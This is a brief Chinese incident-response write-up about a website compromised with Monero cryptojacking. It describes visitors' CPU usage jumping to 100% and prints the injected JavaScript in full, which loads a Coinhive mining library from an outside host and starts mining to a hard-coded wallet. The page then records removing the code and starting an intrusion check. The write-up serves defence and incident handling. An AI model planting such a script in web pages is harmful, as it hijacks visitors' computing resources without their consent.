第2篇：门罗币恶意挖矿

门罗币(Monero 或 XMR)，它是一个非常注重于隐私、匿名性和不可跟踪的加密数字货币。只需在网页中配置好js脚本，打开网页就可以挖矿，是一种非常简单的挖矿方式，而通过这种恶意挖矿获取数字货币是黑灰色产业获取收益的重要途径。

现象描述

利用XMR恶意挖矿，会大量占用用户的CPU资源，严重影响了网站的用户体验。

从08/09日0点开始，局域网内某IP访问网站页面会触发安全预警，只要访问此服务器上的网页，CPU直线上升100%

问题解析

通过获取恶意网页url，对网页页面进行分析，发现网站页面被植入在线门罗币挖矿代码：

```
<script>     var script = document.createElement('script');
   script.onload = function () {           // XMR Pool hash
var m = new CoinHive.Anonymous('BUSbODwUSryGnrIwy3o6Fhz1wsdz3ZNu');
       // TODO: Replace the below string with wallet string
m.start('47DuVLx9UuD1gEk3M4Wge1BwQyadQs5fTew8Q3Cxi95c8W7tKTXykgDfj7HVr9aCzzUNb9vA6eZ
3eJCXE9yzhmTn1bjACGK');       };
    script.src = 'https://coinhive.com/lib/coinhive.min.js';
    document.head.appendChild(script);   </script>
```

删除js里面的恶意代码，网站被XMR 恶意挖矿，服务器已经被攻击，进一步做服务器入侵排查。

后续持续更新内容，将发布在公众号Bypass--，同时公众号提供了该项目的PDF版本，关注后回复"应急响应" 即可下载。


Bypass